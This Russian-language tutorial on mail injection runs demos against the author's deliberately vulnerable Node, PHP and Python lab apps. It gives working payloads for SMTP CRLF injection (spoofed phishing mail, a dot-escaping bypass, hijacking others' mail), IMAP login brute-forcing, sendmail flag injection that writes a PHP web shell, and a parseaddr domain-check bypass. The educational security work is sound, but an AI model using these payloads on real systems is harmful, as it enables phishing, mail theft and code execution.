Статья создана в ознакомительных целях и предназначена только для специалистов по анализу защищённости, которые проводят анализ защищённости ресурсов компании-заказчика строго на законных основаниях и на основании договора, заключенного с компанией-заказчиком.
📑 Содержание
- Предыстория
- Основы работы почты
- Почтовые протоколы
- Почтовые компоненты
- Конструкция письма
- Специальные конструкции
- Потенциальные уязвимости
- CRLF Injection
- Arbitrary Command Flag Injection
- Демонстрация эксплуатации
- Заготовка приложения
- NodeJS:
smtp-client
(CRLF SMTP Injection в MAIL FROM / DATA + E-mail hijacking) - PHP:
mail()
(CRLF SMTP Injection + Command Flag Injection) - Python:
imaplib
/email
(CRLF IMAP Injection + Improper Input Validation)
🔦 Предыстория
Порой разработчикам необходимо создавать формы – разделы для сбора информации от пользователей веб-приложения. Было придумано множество способов обработки и сбора ответов пользователей на формы. Выбор подходящего зависит от спектра условий: вида и предполагаемого объёма данных, допустимого объёма выделенного хранилища, желаемых характеристик доступа, … ;
Так сложилось, что одним из вариантов решения упомянутой задачи является использование электронной почты. Электронная почта – комплексная технология, в работе которой задействован целый список компонентов.
В таком сценарии формы выступают посредниками между рядом компонентов и пользователем, что, как известно из истории, неизбежно ведёт к эксплуатации уязвимостей технологий через пользовательский ввод – к инъекциям.
И, поскольку в распоряжении атакующего оказывается цепочка из компонентов различных реализаций, такая функциональность – просторное поле для анализа и проведения не одного, но сразу нескольких видов инъекций.
Ход времени, конечно, неизбежно приводит к сокращению числа уязвимостей и случаев использования электронной почты в качестве хранилища. Тем не менее никто никуда не вымер: формы в веб-приложениях крупных компаний всё так же возвращают отладочные SMTP
логи, в веб-приложениях компаний поменьше – отправляют ответы самописными средствами, а уязвимости и вовсе имеют обыкновение появляться вновь.
Примерно поэтому рассматриваемая тема остаётся полезной для ознакомления и любопытной для изучения!
📧 Основы работы почты
Почтовые протоколы
Работа почты осуществляется с помощью специальных почтовых протоколов.
Существует некоторое количество почтовых протоколов, из которых принято использовать:
POP
, Post Office ProtocolIMAP
, Internet Message Access ProtocolSMTP
, Simple Mail Transfer Protocol
Протокол SMTP используется для отправки сообщений.
Протоколы IMAP и POP используются для получения сообщений.
Если коротко о разнице:
- IMAP тяжеловеснее, POP легковеснее;
- IMAP предоставляет удалённый доступ к сообщениям, а POP – скачивает сообщения на устройство для локального доступа.
→ Функциональность веб-приложения для отправки сообщений потенциально использует пользовательский ввод для взаимодействия с SMTP сервером;
→ Функциональность веб-приложения для чтения сообщений потенциально использует пользовательский ввод для взаимодействия с IMAP сервером;
Почтовые компоненты
Почтовый клиент:
- MUA — Mail User Agent; Компонент, с которым взаимодействует пользователь для осуществления работы с почтой
Почтовый сервер:
- MTA — Mail Transfer Agent; Компонент, пересылающий почту между почтовыми серверами
- MDA — Mail Delivery Agent; Компонент, доставляющий почту пользователю
Пример взаимодействия компонентов:
- Пользователь А (Акамир) пишет и отправляет письмо Пользователю Б (Бажене) через свой почтовый клиент – MUA.
- MUA пересылает письмо Акамира на почтовый сервер.
- Почтовый сервер запрашивает данные о
DNS
зоне, указанной в адресе электронной почты Бажены.- Почтовый сервер получает данные о
DNS
зоне, указанной в адресе электронной почты Бажены.- Несколько MTA один за другим пересылают письмо Акамира друг другу по
SMTP
. На конечном этапе письмо попадает от MTA к MDA, который должен передать письмо Бажене через MUA.- Бажена обращается к своему MUA. Он получает данные о сообщениях Бажены от почтового сервера по
IMAP
и отображает новое письмо от Акамира.
Конструкция письма
Письма, посылаемые с помощью почтового протокола SMTP
, должны состоять из нескольких частей: конверта + самого письма.
Конверт — информационная обёртка над письмом, запрашиваемая SMTP
протоколом:
MAIL FROM
: ОтправительRCPT TO
: ПолучательDATA
: Начать письмо
Письмо — передаваемое сообщение; Включает в себя:
- Заголовки:
Content-Type
: Тип содержимогоFrom
: ОтправительTo
: ПолучательSubject
: ТемаDate
: Дата и времяCс
,Bсс
, …
- Тело письма: Непосредственно содержимое сообщения.
Специальные конструкции
Для корректной работы протоколов используются следующие специальные конструкции:
— Возврат каретки (Carriage Return): <CR>
= %0D
= 0x13
— Перевод строки (Line feed): <LF>
= %0A
= 0x10
— Пробел (Space): <SP>
= %20
= 0x32
<SP>
: Отделяет команду от аргументов<CRLF>
: Закрывает команду; Разделяет строки письма<CRLF>.<CRLF>
: Закрывает письмо
🪲 Потенциальные уязвимости
CRLF Injection
📌 OWASP про IMAP/SMTP инъекции: owasp.org/…Testing_for_IMAP_SMTP_Injection
📌 Invicti про E-Mail инъекции: invicti.com/…/email-injection
📌 CRLF инъекции в SMTP: vk9-sec.com/smtp-injection-attack
Почтовые клиенты, которым передаётся в недостаточной мере обработанный пользовательский ввод, могут оказаться уязвимы к CRLF инъекциям – внедрению вышеописанных специальных конструкций для влияния на поведение почтовых протоколов.
В случаях, когда подконтрольные пользователю данные впоследствии оказываются частью исполняемой клиентом команды, атакующим могут быть внедрены специальная конструкция <CRLF>
, закрывающая текущую команду, а также специальная конструкция <CRLF>.<CRLF>
, закрывающая письмо, для вывода полезной нагрузки за пределы предоставленной для заполнения секции письма.
Эксплуатация CRLF инъекции приведёт к возможности исполнения атакующим команд, определённых для используемого почтового протокола, что в свою очередь, в зависимости от целей атакующего, может привести к следующим последствиям:
- Возможность взаимодействия с локальными почтовыми серверами
- Утечка конфиденциальной информации
- Обход накладываемых на пользователя ограничений (обход капчи, рейт лимитов, …) → Злоупотребление выделенными ресурсами, DoS
- Фишинг + рассылка вредоносного ПО
- Спам
Arbitrary Command Flag Injection
📌 SwiftMailer, 2016: cve.org/..?id=CVE-2016-10074
📌 PHPMailer, 2017: xakep.ru/…/phpmailer-exploit
📌 Exim, 2019: cve.org/..?id=CVE-2019-10149
📌 NodeMailer, 2020: cve.org/..?id=CVE-2020-7769
Почтовые сервера, которым передаётся в недостаточной мере обработанный пользовательский ввод, могут оказаться уязвимы к инъекциям во флаги команды – внедрению дополнительных опций в исполняемую на целевой машине команду, которая отвечает за запуск почтового компонента.
В случаях, когда подконтрольные пользователю данные впоследствии оказываются среди аргументов исполняемой на целевой машине команды, атакующим могут быть внедрены дополнительные опции для влияния на поведение запускаемого компонента.
Последствия эксплуатации инъекции во флаги команды зависят от конкретного компонента, но нередко заключаются в возможности осуществления атакующим записи в файлы на целевой машине (Arbitrary File Write) и в вытекающей из этого возможности удалённого исполнения кода (Remote Code Execution) через внедрение атакующим веб-шелла.
⚙️ Демонстрация эксплуатации
Заготовка приложения
📌 Github: github.com/qwqoro/Mail-Injection
Для демонстрации эксплуатации уязвимостей я подготовила небольшое веб-приложение, для которого разработала один вариант фронтенда и несколько – бекенда, чтобы провести тестирование разных реализаций совпадающей функциональности – почтовых клиентов.
В качестве почтового сервера выступает машина в локальной сети, на 25
порту которой запущен MTA Postfix. Сбор писем предполагается по адресу [email protected]
.
Фронтенд представляет из себя контактную форму и содержит поля для ввода адреса электронной почты пользователя и текста обращения:
Выбор полей обусловлен желанием продемонстрировать выход атакующим за пределы выделенной ему секции письма в случае предоставления пользователю контроля над:
- Текстом письма; Пользовательский ввод внедряется после команды
DATA<CRLF>
- Заголовком конверта; Пользовательский ввод внедряется в качестве аргумента
<отправитель>
командыMAIL<SP>FROM : <отправитель><CRLF>
NodeJS: smtp-client (SMTP Injection в MAIL FROM / DATA)
📌 Github: github.com/qwqoro/Mail-Injection/nodejs
📌 Snyk про CRLF инъекции: snyk.io/…/avoiding-smtp-injection
Бекенд на NodeJS был реализован с помощью фреймворка Express и почтового клиента smtp-client.
POST
запрос к главной странице предполагает извлечение значений параметров email
и text
, указанных пользователем в ходе заполнения контактной формы, из тела запроса, создание подключения к почтовому серверу и внедрение извлечённых значений в качестве отправителя (s.mail({from: email})
) и текста письма (s.data(text)
) соответственно.
app.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
const express = require('express'); const smtp = require('smtp-client'); const path = require('path'); const app = express(); const port = 80; let s = new smtp.SMTPClient({ host: "hahacking.local", port: 25 }); app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.use(express.static("public")); app.get('/', (req, res) => { res.sendFile('index.html', { root: path.join(__dirname, '/public') }); }); app.post('/', (req, res) => { let email = req.body.email; let text = req.body.text; (async function() { await s.connect(); await s.greet({hostname: "hahacking.local"}); await s.mail({from: email}); await s.data(text); await s.quit(); })().catch(console.error); res.sendFile('index.html', { root: path.join(__dirname, '/public') }); }); app.listen(port, (error) => { if (!error) console.log(`[+] App listening on port ${port}`) else console.log(`[-] Error occurred during startup`, error) }); |
Поскольку smtp-client
уязвим к CRLF инъекциям, а также мною не была реализована никакая дополнительная обработка пользовательского ввода, атакующий может внедрить произвольную полезную нагрузку, используя специальные конструкции.
Так выглядит общение клиента и сервера по SMTP в случае отправки запроса к главной странице с телом запроса [email protected]&text=TestTextTestText
:
SMTP Injection в MAIL FROM
Простейший пример полезной нагрузки в параметр тела запроса email
, которая добавит дополнительного получателя письма – внутреннего сотрудника с адресом электронной почты [email protected]
:
1 2 |
you@example.org> RCPT TO:<bazhena@hahacking.local |
Даже такая нагрузка может привести к последствиям. Например, к отправке атакующим произвольных писем на внутренние электронные почты сотрудников с целью рассылки вредоносного ПО.
Чтобы пользователь, проверяющий почту [email protected]
, не узнал об эксплуатации, заметив информацию о получателях доставленного ему письма, стоит усовершенствовать полезную нагрузку. Для этого можно:
- Завершить письмо с обратной связью, которое будет предназначено для
[email protected]
:
1 2 3 4 5 |
you@example.org> RCPT TO:<contact@hahacking.local> DATA Hello! . |
- Затем – начать новое, фишинговое. Как вариант, имеет смысл попробовать отправить фишинговое письмо сотруднику от лица другого сотрудника:
1 2 3 4 5 |
MAIL FROM:<akamir@hahacking.local> RCPT TO:<bazhena@hahacking.local> DATA Have you seen this? https://*** . |
- После – дописать начало ещё одного сообщения для
[email protected]
для обеспечения корректной работы протокола:
1 |
MAIL FROM:<you@example.org |
Результирующая полезная нагрузка:
1 |
you@example.org>%0d%0aRCPT%20TO:<contact@hahacking.local>%0d%0aDATA%0d%0aHello!%0d%0a.%0d%0aMAIL%20FROM:<akamir@hahacking.local>%0d%0aRCPT%20TO:<bazhena@hahacking.local>%0d%0aDATA%0d%0aHave%20you%20seen%20this?%20https://***%0d%0a.%0d%0aMAIL%20FROM:<[email protected] |
Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса email
:
Так выглядит общение почтового клиента с сервером по протоколу SMTP. Можно увидеть все три письма, причём пустая строка в 5 с конца строке диалога – значение параметра тела запроса text
:
Сообщения на почтовом ящике пользователя с адресом электронной почты [email protected]
. Пользователь получил письмо, созданное атакующим, причём указано, что отправитель – пользователь с адресом электронной почты [email protected]
:
Сообщения на почтовом ящике пользователя с адресом электронной почты [email protected]
. Пользователь получил письмо, созданное атакующим для закрытия письма, создающегося формой, а также письмо с содержимым значения параметра тела запроса text
– пустой строкой:
SMTP Injection в DATA
Подобная ситуация обстоит с внедрением пользовательского ввода в текст письма – значение параметра тела запроса text
. Атакующий может:
- Завершить секцию текста письма
DATA
с помощью специальной конструкции<CRLF>.<CRLF>
- Затем – начать новое, фишинговое письмо. Можно не завершать это письмо и не начинать новое письмо для
[email protected]
, так как клиент сам завершит письмо специальной конструкцией<CRLF>.<CRLF>
, а после – завершит общение:
1 2 3 4 |
MAIL FROM:<akamir@hahacking.local> RCPT TO:<bazhena@hahacking.local> DATA Check this out! https://*** |
Результирующая полезная нагрузка:
1 |
%0d%0a.%0d%0aMAIL%20FROM:<akamir@hahacking.local>%0d%0aRCPT%20TO:<bazhena@hahacking.local>%0d%0aDATA%0d%0aCheck%20this%20out!%20https://*** |
Но она не сработает. Стоит учесть, что, исходя из исходного кода smtp-client
, значение аргумента метода data
подвергается дополнительной обработке: подстроки, соответствующие шаблону /^\./m
заменяются на подстроку «..
«. Использование такого шаблона подразумевает замену точки, расположенной в самом начале строки, на две точки. Кажется, что это означает, что попытка закрыть секцию текста письма DATA
с помощью специальной конструкции <CRLF>.<CRLF>
обернётся заменой подстроки <CRLF>.
на подстроку <CRLF>..
и невозможностью выхода атакующим за пределы секции.
Тем не менее, поскольку в качестве настроек используется только флаг /m
(multiline), распространяющий влияние шаблона на все строки, и отсутствует флаг /g
(global), который бы допускал возможность множественного включения шаблона, атакующий может включить заменяемую подстроку <CRLF>.
более одного раза, ведь замена не повлияет на второе и последующие включения:
Вариант полезной нагрузки для обхода встроенной обработки пользовательского ввода:
1 |
.Hello!%0d%0a.%0d%0aMAIL%20FROM:<akamir@hahacking.local>%0d%0aRCPT%20TO:<bazhena@hahacking.local>%0d%0aDATA%0d%0aCheck%20this%20out!%20https://*** |
Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса text
:
Так выглядит общение почтового клиента с сервером по протоколу SMTP. Можно увидеть два письма, причём в первом наблюдается единоразовая замена подстроки <CRLF>.
на подстроку <CRLF>..
, а во втором – самостоятельное завершение почтовым клиентом письма и общения:
Сообщения на почтовых ящиках пользователей с адресами электронной почты [email protected]
и [email protected]
. Пользователь bazhena
получил письмо, созданное атакующим, причём указано, что отправитель – пользователь с адресом электронной почты [email protected]
:
SMTP Injection в DATA → E-mail Hijacking
Эксплуатация CRLF инъекции может привести к получению атакующим содержимого чужих писем. Наличие такой возможности напрямую зависит от непрерывности соединения и от выбранного SMTP сервера, а конкретнее – от его поведения в случае ошибки.
Для того, чтобы соединение не прерывалось в связи с ошибками, я изменила app.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
... let s = new smtp.SMTPClient({ host: "hahacking.local", port: 25 }); s.connect(); s.greet({hostname: "hahacking.local"}); ... app.post('/', (req, res) => { ... (async function() { await s.mail({from: email}).catch(console.error); await s.data(text).catch(console.error); })(); ... |
Возвращаясь к возможности CRLF инъекции в секцию DATA
, которая была рассмотрена ранее, можно предположить, что для перехвата чужого письма атакующему необходимо подготовить полезную нагрузку, которая бы:
- Закрыла текущее письмо. Нужно обойти фильтрацию специальных конструкций
<CRLF>
и завершить секцию текста письмаDATA
с помощью специальной конструкции<CRLF>.<CRLF>
- Открыла новое письмо, обозначив данные для «конверта«. Нужно указать отправителя в секции
MAIL FROM
и получателя в секцииRCPT TO
, причём адрес получателя – это адрес электронной почты атакующего.
Далее почтовый клиент автоматически пошлёт специальную конструкцию <CRLF>.<CRLF>
для корректного завершения письма – и это будет тот самый момент, где огромную роль сыграет выбор SMTP сервера.
Стоит заметить, что если бы атакующий открыл секцию DATA
, то на данном этапе новое письмо было бы неизбежно закрыто почтовым клиентом, потому приходится ограничиваться лишь заполнением конверта нового письма. Теперь же, в отсутствие секции DATA
, попытка закрыть письмо приведёт к ошибке.
- Postfix, используемый мной в предыдущих примерах, оборвёт соединение
- А, например, Stalwart – выведет предупреждение и проигнорирует ошибку
Так реагируют на ошибки (несколько секций MAIL FROM
+ отсутствие секции DATA
) Postfix и Stalwart соответственно:
Рассматривая любопытный вариант с использованием SMTP сервера Stalwart:
- Специальная конструкция
<CRLF>.<CRLF>
, посылаемая клиентом, не будет воспринята сервером - Секция
MAIL FROM
из следующего письма не будет воспринята сервером - Секция
RCPT TO
из следующего письма будет добавлена в качестве дополнительного получателя - Сообщение жертвы будет получено как пользователем, созданным для сбора ответов из формы, так и атакующим
Пример полезной нагрузки, посылаемой атакующем в качестве значения параметра тела запроса text
:
1 |
.Hello!%0d%0a.%0d%0aMAIL%20FROM:<yourmail@example.org>%0d%0aRCPT%20TO:<yourmail@example.org>%0d%0a |
Так выглядит общение почтового клиента с сервером по протоколу SMTP. Синим выделено легитимное письмо из формы, отправленное жертвой следом за письмом атакующего, которое содержало полезную нагрузку:
Письма на почтовых ящиках пользователей с адресами электронной почты [email protected]
и [email protected]
. Атакующий тоже получил сообщение, отправленное жертвой:
PHP: mail() (SMTP Injection + Command Flag Injection)
📌 Github: github.com/qwqoro/Mail-Injection/php
Один из бекендов на PHP был реализован с использованием встроенной функции mail()
.
В документации к функции присутствует предупреждение об автоматическом удалении точек, находящихся в начале строк внутри значения аргумента message
, потому инъекция через текст обращения по умолчанию не представляется возможной.
Рассмотрим два варианта инъекции в секции письма через ввод полезной нагрузки в поле с адресом электронной почты пользователя.
POST
запрос к странице /send.php
предполагает извлечение значений параметров email
и text
, указанных пользователем в ходе заполнения контактной формы, из тела запроса и их внедрение в качестве отправителя (mail(..., "-f" . $email);
/ $headers = "From: " . $email;
) и текста письма (mail(..., $text, ...);
) соответственно.
send.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php if (isset($_POST["email"]) and isset($_POST["text"])){ $email = $_POST["email"]; $text = $_POST["text"]; $headers = "From: " . $email; } header("Location: http://hahacking.local/"); ?> |
SMTP Injection
- Первая проблема – вводимый пользователем адрес электронной почты внедряется в заголовок письма
From
.
Атакующий может закрыть подконтрольный ему заголовок письма и открыть новый, например, заголовок Bcc
(Blind Carbon Copy), позволяющий отправить «слепую» копию письма – такую, что ни один получатель не узнает из заголовков о других получателях этого же письма. А раз пользователю не нужно подтверждать статус владения указанным адресом электронной почты, атакующий может указать отправителем другого сотрудника.
Пример полезной нагрузки:
1 |
akamir@hahacking.local%0d%0aBcc:%20bazhena@hahacking.local |
На оба почтовых ящика пришли письма от [email protected]
, причём ни в одном письме не указаны иные получатели:
Arbitrary Command Flag Injection
📌 ][akep про PHPMailer: xakep.ru/…/phpmailer-exploit
📌 MITRE про подобную уязвимость CVE-2018-19518: cve.mitre.org/…?name=CVE-2018-19518
📌 Разбор CVE-2018-19518 в Античате: forum.antichat.club/…/463395/#post-4254681
- Вторая проблема – вводимый пользователем адрес электронной почты внедряется в качестве отправителя с помощью флага
-f
.
Атакующий может добавить дополнительные флаги и они все будут применены в контексте исполнения утилиты sendmail
, которую использует mail()
.
Пример полезной нагрузки:
1 |
yourmail@example.org%20-v |
Внедрение данной полезной нагрузки приведёт ко внедрению флага -v
в командную строку, что приведёт к отправке некоторого отладочного отчёта на адрес электронной почты [email protected]
:
В зависимости от локальных настроек может быть возможным добавление следующих флагов:
-C value
= Указать путь к конфигурационному файлу-X value
= Записать лог отправки по путиvalue
-oK value
,-o Key=value
= Установить параметрK
/Key
в значениеvalue
-oQ value
,-o QueDirectory=value
= Установить параметрQueDirectory
в значениеvalue
; По путиvalue
будут храниться письма из очереди для отправки
Скомбинировав -C /var/mail/contact
и -X /var/www/html/uploads/qwq.txt
, атакующий сможет прочитать в веб-приложении лог qwq.txt
с содержимым файла /var/mail/contact
.
А скомбинировав -oQ /tmp/
и -X /var/www/html/uploads/qwq.php
, а также указав в качестве значения параметра тела запроса text
PHP-код наподобие «<?php echo("hahacked")?>
«, атакующий сможет записать в файл qwq.php
произвольный PHP-код для его последующего исполнения из веб-приложения. Так он может записать веб-шелл и обрести возможность удалённого выполнения команд на сервере.
Приблизительно таким образом в своё время работала эксплуатация Arbitrary Command Flag Injection в SwiftMailer, PHPMailer, Exim и NodeMailer. Естественно, к каждой технологии необходим собственный подход, но в общих чертах ситуация схожа.
Python: imaplib (IMAP Injection)
📌 Github: github.com/qwqoro/Mail-Injection/python-imap
Один из бекендов на Python был реализован с использованием фреймворка Flask и стандартной библиотеки imaplib
.
Протокол IMAP используется для чтения, фильтрации и сортировки писем. В него заложен перечень команд, отвечающих за аутентификацию и взаимодействие с почтовым ящиком и полученными сообщениями. Потому я изменила основную функциональность тестового веб-приложения и фронтенд: теперь пользователю предлагается войти в некоторый почтовый клиент, который содержал бы входящие сообщения.
app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
from flask import Flask from flask import render_template, request, redirect, url_for, session from imaplib import IMAP4 from os import urandom app = Flask(__name__, static_url_path='', static_folder="public", template_folder="public") app.config['SECRET_KEY'] = urandom(12) s = IMAP4("hahacking.local") def checkAlive(e): global s if "Broken pipe" in e or "EOF" in e: s = IMAP4("hahacking.local") @app.route('/') def index(): global s try: s.noop() except Exception as e: e = str(e) checkAlive(e) return render_template("index.html", result=f"Failed! Error message: {e}") if "success" in session and session["success"]: try: s.select() typ, data = s.search(None, "ALL") messages = {} for num in data[0].split(): typ, data = s.fetch(num, '(RFC822)') messages[num.decode()] = data[0][1].decode() return render_template("messages.html", messages=messages) except Exception as e: e = str(e) checkAlive(e) return render_template("index.html", result=f"Failed! Error message: {e}") return render_template("index.html", result='') @app.route("/signin", methods=["GET", "POST"]) def signinPost(): global s if request.method == "POST": username = request.form.get("username") password = request.form.get("password") try: s.login(username, password) session["success"] = True except Exception as e: e = str(e) checkAlive(e) return render_template("index.html", result=f"Failed! Error message: {e}") return redirect(url_for('index'), 302) @app.route("/logout", methods=["GET", "POST"]) def logoutPost(): global s try: s.logout() session["success"] = False except Exception as e: e = str(e) return render_template("index.html", result=f"Failed! Error message: {e}") s = IMAP4("hahacking.local") return redirect(url_for('index'), 302) if __name__ == "__main__": app.run(host="hahacking.local", port=80) |
POST
запрос к заглавной странице /
предполагает попытку аутентификации – извлечение значений параметров username
и password
, указанных пользователем в ходе заполнения формы логина, из тела запроса и их использование в качестве параметров метода login
объекта s
класса IMAP4
. После успешной аутентификации пользователь увидит на главной странице список адресованных ему сообщений. GET
запрос к заглавной странице /
также организует проверку соединения с IMAP сервером и перезапускает соединение при необходимости.
Так выглядит общение клиента и сервера по IMAP в случае отправки запроса к главной странице с телом запроса username=test&password=test
:
Сначала почтовый клиент подключается к почтовому серверу и запрашивает информацию о возможностях командой CAPABILITY
. После отправки пользователем формы введённые им данные передаются в качестве аргументов команды LOGIN
.
Поскольку в протоколе IMAP реализована аутентификация, у атакующего не получится прочитать сообщения некоторого пользователя до тех пор, пока он не пройдёт процесс аутентификации с верными логином и паролем. И всё же, при наличии механизма CAPTCHA в форме такая инъекция значительно упростила бы процесс подбора учётных данных. Пример полезной нагрузки, внедряемой атакующим в параметр тела запроса username
:
1 2 3 4 5 6 |
test "test" LOGIN contact "contact" LOGIN contact "password" ... LOGIN contact "admin" LOGIN contact |
Кроме того, для обеспечения корректной работы протокола стоит обратить внимание на идентификаторы в начале команд. Библиотека imaplib
определяет несколько классов – имплементации протокола IMAP
версии IMAP4ver1
, и опирается на RFC 2060. В разделе «2.2.1. Client Protocol Sender and Server Protocol Receiver» говорится, что каждая команда клиента должна начинаться с идентификатора, называемого «тегом». Генерирует теги тоже клиент. Никакие иные ограничения на теги спецификация не накладывает. Соответственно, они принимают разный вид в зависимости от используемого клиента: php-imap
, например, использует идентификаторы, соответствующие шаблону [0-9]{8}
, а imaplib
– [A-Z]{4}[0-9]+
. Оказывается, что теги – на самом деле ещё большая условность, чем кажется, ведь допускается использование случайного идентификатора, соответствующего используемому шаблону. Дополняя полезную нагрузку тегами:
1 2 3 4 5 6 |
test "test" AAAA0 LOGIN contact "contact" AAAA1 LOGIN contact "password" ... AAAA9 LOGIN contact "admin" AAAA9 LOGIN contact |
Подобная нагрузка, закодированная для отправки в качестве значения параметра тела запроса username
:
1 |
contact%20\"contact\"%0d%0aAAAA1%20LOGIN%20contact%20\"password\"%0d%0aAAAA2%20LOGIN%20contact%20\"hahacking\"%0d%0aAAAA3%20LOGIN%20contact%20\"test\"%0d%0aAAAA4%20LOGIN%20contact%20\"test1\"%0d%0aAAAA5%20LOGIN%20contact |
Поведение сервера в ответ на полезную нагрузку вновь отличается от сервера к серверу.
Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса username
и строки «admin
» в качестве значения параметра тела запроса password
, а также отправки нескольких команд NOOP
при условии использования почтового сервера Stalwart:
Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса username
и строки «admin
» в качестве значения параметра тела запроса password
, а также отправки нескольких команд NOOP
при условии использования IMAP сервера Dovecot:
Как видно на скриншотах выше, Stalwart, в отличие от Dovecot, обрывает соединение после попытки клиента повторно использовать команду LOGIN
после успешного входа пользователя и игнорирует последующие команды. Этот момент, как и, например, установленный максимум неудачных попыток, стоит учитывать при разработке полезной нагрузки и плана эксплуатации.
Каждый вызов метода объекта класса IMAP4
означает считывание почтовым клиентом 1 строки – следующего ответа сервера из тех, что ещё не были считаны. Таким образом, в ответ на обработку полезной нагрузки методом login
вернётся ошибка, сообщающая о неудачной попытке аутентификации с тегом FDGA1
/ OFEE1
. Возникает проблема: сервер будет считать пользователя аутентифицированным, а клиент – не будет, ведь по его мнению state
не перешёл в состояние AUTH
:
Почтовый клиент откажется исполнять методы, требующие аутентифицированного состояния. Но раз методы читают ответы сервера строка за строкой и раз каждый запрос к заглавной странице вызывает метод noop
для поддержания соединения, определённое число перезагрузок страницы приведёт к считыванию клиентом сообщения об успешном входе, что наталкивает на мысли:
- Первыми указать корректные логин и пароль, известные атакующему, чтобы клиент перешёл в аутентифицированное состояние, а на сервере произошла смена пользователя вследствие исполнения команд
LOGIN
→ Почтовые сервера не допускают возможность смены пользователя без обрыва соединения, игнорируя командуLOGIN
в аутентифицированном состоянии - Провести попытку входа на этапе, когда следующим считанным клиентом сообщением от сервера будет сообщение об успешном входе, чтобы клиент перешёл в аутентифицированное состояние
→ Клиент проверяет, совпадают ли указанный им тег с полученным, потому вернётся ошибка о неожиданном ответе и попытка входа окажется неудачной - При обрыве соединения сервером при попытке повторной аутентификации: отсчитать число перезагрузок до перезапуска соединения и связанной с этим задержки в ответе или до падения приложения в случае невозможности восстановления связи с сервером, чтобы понять, какие имя пользователя и пароль оказались верными
- При выводе ошибок пользователю: связать тег с указанным в полезной нагрузке или отсчитать число перезагрузок до вывода сообщения об успешном входе, если тег ответа в выводе не указан, чтобы понять, какие имя пользователя и пароль оказались верными
В своём веб-приложении я реализовала простейший вариант: вывод ошибок пользователю без их дополнительной обработки. Послав полезную нагрузку, атакующий будет перезагружать заглавную страницу, пока не увидит сообщение об успешном входе – ответ сервера с тегом AAAA2
:
Тег AAAA2
соответствует запросу AAAA2 LOGIN contact "hahacking"
. Теперь, зная верные имя пользователя и пароль, атакующий сможет войти в почтовый ящик пользователя contact
и даже немного развить атаку, повторно проэксплуатировав инъекцию для выполнения непредусмотренного приложением действия – внесения изменений, таких как, например, добавление на ящик нового произвольного письма или удаление уже существующих писем.
Python: email (Improper Input Validation)
📌 Github: github.com/qwqoro/Mail-Injection/python-smtp
📌 Issue про CVE-2023-27043: github.com/python/…/issues/102988
📌 Issue про подобную CVE-2019-16056: github.com/python/…/issues/78336
📌 Интересный пример подобной эксплуатации: xakep.ru/…/tchap + medium.com/@fs0c131y/tchap-the-super-not-secure-app-of-the-french-government
Весной 2023 года была обнаружена уязвимость в парсере адресов электронных почт подмодуля стандартной библиотеки Python email
– email.utils
, которую можно проэксплуатировать в случае попадания пользовательского ввода в функции email.utils.parseaddr()
и email.utils.getaddresses()
.
Уязвимость затрагивает версии Python: 0 — 2.7.18, 3.0 — 3.11
Бывает необходимо, чтобы подконтрольный пользователю адрес электронной почты принадлежал конкретному домену. Атакующий может попробовать обойти проверку домена, содержащегося в адресе его электронной почты, например, добавив в конце значения нужное доменное имя, при этом оно должно быть логически отделено от настоящего адреса электронной почты атакующего для сохранения возможности получения писем на настоящий адрес.
Для пресечения подобных попыток вводятся парсеры адресов электронных почт, выделяющие из передаваемых им значений корректные адреса.
Я снова изменила основную функциональность тестового веб-приложения и фронтенд: теперь пользователю предлагается зарегистрироваться в некоторой системе, причём для регистрации допускаются только почты домена hahacking.local
.
Бекенд на Python был реализован с использованием фреймворка Flask и стандартных библиотек smtplib
и email
.
app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
from flask import Flask from flask import render_template, request from smtplib import SMTP from email.utils import parseaddr from email.message import EmailMessage from email.headerregistry import Address app = Flask(__name__, static_url_path='', static_folder='public', template_folder='public') @app.route('/') def index(): return render_template('index.html', result='') @app.route('/signup', methods=["GET", "POST"]) def signupPost(): result = '' if request.method == "POST": email = request.form.get('email') password = request.form.get('password') if parseaddr(email)[1].split('@')[1] == "hahacking.local": at = email.index("@") msg = EmailMessage() msg["From"] = Address("HaHacking", "contact", "hahacking.local") msg["To"] = Address("You", email[:at], email[at+1:]) msg.set_content("Welcome to HaHacking! You have successfully signed up!") with SMTP("hahacking.local", 25) as s: s.send_message(msg) result = "Вы успешно зарегистрированы!" else: result = "Допускаются только почты домена hahacking.local!" return render_template('index.html', result=result) if __name__ == "__main__": app.run(host="hahacking.local", port=80) |
Поскольку валидация, реализуемая функцией parseaddr()
, некорректна в случае внедрения в передаваемую строку специальных символов (например: ()<>,:;.\"[]
), атакующий может обойти проверку домена, который указан в адресе его электронной почты.
Пример полезной нагрузки:
1 |
contact@hahacking.local]<qwqoro@qwqoro.local> |
Функция parseaddr()
, вызванная от строки «[email protected]]<[email protected]>
» возвращает кортеж, содержащий адрес электронной почты [email protected]
. Именно этот адрес выделится в ходе проверки домена и благодаря нему проверка будет успешно пройдена:
Но если использовать [email protected]]<[email protected]>
в качестве получателя письма, письмо об успешной регистрации в том числе придёт на адрес [email protected]
:
Заключение
Напоследок в качестве мотивации прикладываю несколько отчётов об эксплуатации таких уязвимостей:
📌 GSuite (Google Workspace), SMTP Injection: ehpus.com/…/smtp-injection-in-gsuite
📌 NextCloud Calendar, SMTP Injection: hackerone.com/reports/1509216 / hackerone.com/reports/1516377 / spaceraccoon.dev/…/#nextcloud-calendar-smtp-command-injection
📌 Tchap, Improper Input Validation: medium.com/@fs0c131y/tchap-the-super-not-secure-app-of-the-french-government